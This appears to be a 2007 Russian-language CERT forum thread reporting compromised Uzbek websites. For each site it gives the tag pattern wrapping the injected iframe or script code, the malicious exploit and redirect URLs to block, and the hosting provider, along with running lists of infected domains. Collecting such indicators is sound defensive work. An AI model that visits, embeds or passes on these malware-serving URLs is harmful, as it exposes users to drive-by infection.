Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://1com.ws/cool/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
02.10.2007, 14:51
На веб-сайте hттp://www.effectivestudy.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://dimit.ru/exp

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
02.10.2007, 15:11
На веб-сайте hттp://www.farmed.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!----> вредоносный код <!---->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
02.10.2007, 15:14
На веб-сайте hттp://www.farmet.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!----> вредоносный код <!---->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
02.10.2007, 15:42
На веб-сайте hттp://www.fmradio.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в 6 местах в файле index.

Вредоносная ссылка: http://dimit.ru/stat.html

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
02.10.2007, 16:05
На веб-сайте hттp://www.himoya-sud.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в 9 местах в файле index.

Вредоносная ссылка: http://dimit.ru/exp

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
02.10.2007, 16:57
На веб-сайте hттp://www.inkompress.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script type="text/JavaScript"> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://camel.f1del.net/ice/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
02.10.2007, 17:01
На веб-сайте hттp://www.irmoq.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 4 местах в файле index.

Вредоносная ссылка: http://carsauto.org/exp.htm

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
02.10.2007, 17:35
На веб-сайте hттp://www.kniga.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://adventureboats.co.nz/skunk/images/index.htm

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Eldar Ishimbaev
02.10.2007, 19:22
В связи c тем, что на страницах веб-сайта kniga.uz содержится вредоносный код, а также в связи с высокой посещаемостью этого ресурса (по версии Топ-рейтинга www.uz), Служба UZ-CERT отправляла запрос по указанным контактам с просьбой удалить участок вредоносного кода с ресурса. Однако почтовый ящик переполнен и письма возвращаются.
Если кто-то связан или знаком с администрацией или владельцами данного веб-ресурса, просим уведомить их о данном инциденте, а также воздержаться пользователей от посещений ресурса до того момента, как он станет безопасным.
С уважением,
Служба UZ-CERT.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 09:48
На веб-сайте hттp://www.tsue-edu.uz был обнаружен вирус.

При попытке просмотра веб-сайта, на компьютер пользователя пытается загрузиться следующий троян:

JS/TrojanDownloader.Agent.NBB

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 12:06
На веб-сайте hттp://www.merida.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.ladrm.ru/gor/e107/e107_class/m_90/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 12:09
На веб-сайте hттp://www.monitoring.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://81.95.149.77/traff.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
03.10.2007, 12:14
На веб-сайте hттp://www.netdec.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://81.95.149.77/traff.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
03.10.2007, 12:15
На веб-сайте hттp://www.nurata.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://1com.ws/cool/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 12:17
На веб-сайте hттp://www.osiyomedika.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://81.95.149.74/1/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
03.10.2007, 12:18
На веб-сайте hттp://www.seek.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://traff4all.info/forum/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
03.10.2007, 12:21
На веб-сайте hттp://www.suncom.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- o65 --> вредоносный код <!-- o65 -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://x-victory.ru/forum/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 13:06
На веб-сайте hттp://www.tarona.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://ltraffic.biz/resource.php?id=4495&user=top100

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 13:12
На веб-сайте hттp://www.tmt.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
03.10.2007, 13:33
На веб-сайте hттp://www.rcc-namangan.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <iframe> вредоносный код </iframe>

Внедрены они в 10 местах в файле index.

Первая вредоносная ссылка: http://seoipdoor.biz/mikhalich/index.php

Вторая вредоносная ссылка: http://erordmas.info/stds/go.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
03.10.2007, 13:38
На веб-сайте hттp://www.qvartz.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://a.ar3.ru/ad.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
03.10.2007, 13:56
На веб-сайте hттp://www.n1.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://dimit.ru/stat.html

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
03.10.2007, 14:05
На веб-сайте hттp://www.uzlimo.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он 10 местах в файле index.

Вредоносная ссылка: http://dimit.ru/stat.html

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 14:07
На веб-сайте hттp://www.pharmed.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[Q]--> вредоносный код <!--[Q]-->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: http://bibi32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 14:08
На веб-сайте hттp://www.pharmet.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[Q]--> вредоносный код <!--[Q]-->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: http://bibi32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 14:13
На веб-сайте hттp://www.samir.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[Q]--> вредоносный код <!--[Q]-->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: http://bibi32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
03.10.2007, 14:15
На веб-сайте hттp://www.surf.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script language="JavaScript"> вредоносный код </script>

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: http://camel.f1del.net/ice/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
04.10.2007, 16:41
Список на сегодняшний день (37):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
artvision.uz
asg.uz
baik.uz
bbd.uz
bm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
merida.uz
mikrokreditbank.uz
monitoring.uz
n1.uz
netdec.uz
osiyomedika.uz
rcc-namangan.uz
realvid.uz
samir.uz
seek.uz
suncom.uz
surf.uz
tarona.uz
tmt.uz
zarduz.uz
zk.uz

Dmitry Paleev
06.10.2007, 13:15
На веб-сайте hттp://www.ankariya.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <iframe> вредоносный код </iframe>

Внедрены они в 6 местах в файле index.

Первая вредоносная ссылка: http://seoipdoor.biz/mikhalich/index.php

Вторая вредоносная ссылка: http://erordmas.info/tds/index.php

Третья вредоносная ссылка: http://ruinpo.com/sell.html

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
06.10.2007, 13:39
На веб-сайте hттp://www.bsm.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://ltraffic.biz/resource.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
06.10.2007, 15:07
На веб-сайте hттp://www.uniform.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!--[I]--> вредоносный код <!--[I]-->

Внедрен он в 6 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
06.10.2007, 15:13
На веб-сайте hттp://www.yoshlik.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://dimit.ru/stat.html

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Djalolatdin Rakhimov
08.10.2007, 12:26
Список на сегодняшний день (35): Хорошо бы показывать добавления и удаления в этот список, чтобы видеть динамику. Старые записи - обычным шрифтом, новые - жирным, удаленные - зачеркнуто

Eldar Ishimbaev
08.10.2007, 13:08
Список на сегодняшний день (35):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
ankariya.uz
artvision.uz
asg.uz
baik.uz
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
merida.uz
mikrokreditbank.uz
monitoring.uz
n1.uz
netdec.uz
osiyomedika.uz
rcc-namangan.uz
realvid.uz
samir.uz
seek.uz
suncom.uz
surf.uz
tarona.uz
tmt.uz
uniform.uz
yoshlik.uz
zarduz.uz
zk.uz

Dmitry Paleev
09.10.2007, 15:37
На веб-сайте hттp://www.minzdr.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://trffc.org/tds/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
09.10.2007, 15:42
На веб-сайте hттp://www.nurata.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://trffc.org/tds/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Eldar Ishimbaev
09.10.2007, 15:46
Список на сегодняшний день (37):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
ankariya.uz
artvision.uz
asg.uz
baik.uz
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
n1.uz
netdec.uz
nurata.uz
osiyomedika.uz
rcc-namangan.uz
realvid.uz
samir.uz
seek.uz
suncom.uz
surf.uz
tarona.uz
tmt.uz
uniform.uz
yoshlik.uz
zarduz.uz
zk.uz

Djalolatdin Rakhimov
09.10.2007, 17:31
baik.uz этот сайт уже до этого поста был удален из списка, поэтому не стоит повторять. Выделять только изменения между постами, в которых есть промежуточные итоги

Djalolatdin Rakhimov
09.10.2007, 18:18
ЭЛ, ДП, не плохо бы также рядом с сайтом указывать его хостера

Dmitry Paleev
10.10.2007, 12:32
На веб-сайте hттp://www.yoshlik.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script language="javascript"> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://trffc.org/tds/index.php

Хостинг: ISP "Sharq Telekom"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
10.10.2007, 12:35
На веб-сайте hттp://www.tstu.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script language="javascript"> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://trffc.org/tds/index.php

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
10.10.2007, 12:43
На веб-сайте hттp://www.programmist.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://dimit.ru/stat.html

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
10.10.2007, 12:46
На веб-сайте hттp://www.opensource.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script language="javascript"> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://trffc.org/tds/index.php

Хостинг: ISP "Sharq Telekom"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
10.10.2007, 13:00
На веб-сайте hттp://www.designlab.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://hostcounter.info/downloads/ice/index.php

Хостинг: ARBATEK-NET (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
10.10.2007, 13:04
На веб-сайте hттp://www.autosport.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://hostcounter.info/downloads/ice/index.php

Хостинг: ISP "Albatros"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
10.10.2007, 13:08
На веб-сайте hттp://www.aks.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://dimit.ru/stat.html

Хостинг: DREAMHOST (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Eldar Ishimbaev
10.10.2007, 13:33
Список на сегодняшний день (43):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
aks.uz - Хостинг: DREAMHOST (US)
ankariya.uz
artvision.uz
asg.uz
autosport.uz - Хостинг: ISP "Albatros"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
designlab.uz - Хостинг: ARBATEK-NET (RU)
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
n1.uz
netdec.uz
nurata.uz
opensource.uz - Хостинг: ISP "Sharq Telekom"
osiyomedika.uz
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
seek.uz
surf.uz
tmt.uz
tstu.uz - Хостинг: ISP "Ars-Inform"
uniform.uz
yoshlik.uz - Хостинг: ISP "Sharq Telekom"
zarduz.uz
zk.uz

Eldar Ishimbaev
11.10.2007, 11:02
Список на сегодняшний день (42):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
aks.uz - Хостинг: DREAMHOST (US)
ankariya.uz
artvision.uz
asg.uz
autosport.uz - Хостинг: ISP "Albatros"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
designlab.uz - Хостинг: ARBATEK-NET (RU)
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
n1.uz
nurata.uz
opensource.uz - Хостинг: ISP "Sharq Telekom"
osiyomedika.uz
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
seek.uz
surf.uz
tmt.uz
tstu.uz - Хостинг: ISP "Ars-Inform"
uniform.uz
yoshlik.uz - Хостинг: ISP "Sharq Telekom"
zarduz.uz
zk.uz

Eldar Ishimbaev
12.10.2007, 11:10
Список на сегодняшний день (37):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
aks.uz - Хостинг: DREAMHOST (US)
ankariya.uz
artvision.uz
asg.uz
autosport.uz - Хостинг: ISP "Albatros"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
designlab.uz - Хостинг: ARBATEK-NET (RU)
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
n1.uz
nurata.uz
osiyomedika.uz
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
seek.uz
surf.uz
tmt.uz
tstu.uz - Хостинг: ISP "Ars-Inform"
uniform.uz
yoshlik.uz - Хостинг: ISP "Sharq Telekom"
zarduz.uz
zk.uz

Dmitry Paleev
15.10.2007, 12:49
На веб-сайте hттp://www.beksoft.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <script language="javascript"> вредоносный код </script> и <!--[I]--> вредоносный код <!--[I]-->

Внедрены они в 2 местах в файле index.

Первая вредоносная ссылка: http://trffc.org/tds/index.php

Вторая вредоносная ссылка: http://www.dodo32.org/505/Xp/

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
15.10.2007, 12:52
На веб-сайте hттp://www.cmyk.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://hostcounter.info/downloads/ice/index.php

Хостинг: ARBATEK-NET (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
15.10.2007, 12:58
На веб-сайте hттp://www.imigrant.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в 3 местах в файле index.

Первая вредоносная ссылка: http://doubler2007.com/tds/index.php

Вторая вредоносная ссылка: http://mik.miclosoft.org/tds/index.php

Третья вредоносная ссылка: http://www.gerbalaif.info/tds/index.php

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
15.10.2007, 13:06
На веб-сайте hттp://www.megapolis.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://pokupki24.info/14/index.php

Хостинг: LiquidNet Ltd. (GB)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
15.10.2007, 13:08
На веб-сайте hттp://www.shox-hotel.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://pokupki24.info/14/index.php

Хостинг: LiquidNet Ltd. (GB)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
15.10.2007, 13:09
На веб-сайте hттp://www.sogdamarket.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в 3 местах в файле index.

Первая вредоносная ссылка: http://doubler2007.com/tds/index.php

Вторая вредоносная ссылка: http://mik.miclosoft.org/tds/index.php

Третья вредоносная ссылка: http://www.gerbalaif.info/tds/index.php

Хостинг: Global Net Access, LLC (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
15.10.2007, 13:11
На веб-сайте hттp://www.tohtaniyoz-ota.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://verymonkey.com/goof/index.php

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
15.10.2007, 13:13
На веб-сайте hттp://www.trest159.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://pokupki24.info/14/index.php

Хостинг: LiquidNet Ltd. (GB)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Eldar Ishimbaev
15.10.2007, 14:13
Список на сегодняшний день (43):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
ankariya.uz
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
cmyk.uz - Хостинг: ARBATEK-NET (RU)
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
megapolis.uz - Хостинг: LiquidNet Ltd. (GB)
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
n1.uz
osiyomedika.uz
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
seek.uz
shox-hotel.uz - Хостинг: LiquidNet Ltd. (GB)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
trest159.uz - Хостинг: LiquidNet Ltd. (GB)
tstu.uz - Хостинг: ISP "Ars-Inform"
yoshlik.uz - Хостинг: ISP "Sharq Telekom"
zarduz.uz
zk.uz

Eldar Ishimbaev
16.10.2007, 14:45
Список на сегодняшний день (42):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
ankariya.uz
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
cmyk.uz - Хостинг: ARBATEK-NET (RU)
elt.uz
era.uz
fiml.uz
gamma-elektro.uz
imigrant.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
in.uz
inkompress.uz
intek.uz
intereng.uz
irmoq.uz
kmn.uz
kniga.uz
megapolis.uz - Хостинг: LiquidNet Ltd. (GB)
merida.uz
mikrokreditbank.uz
minzdr.uz
monitoring.uz
n1.uz
osiyomedika.uz
programmist.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
rcc-namangan.uz
seek.uz
shox-hotel.uz - Хостинг: LiquidNet Ltd. (GB)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
trest159.uz - Хостинг: LiquidNet Ltd. (GB)
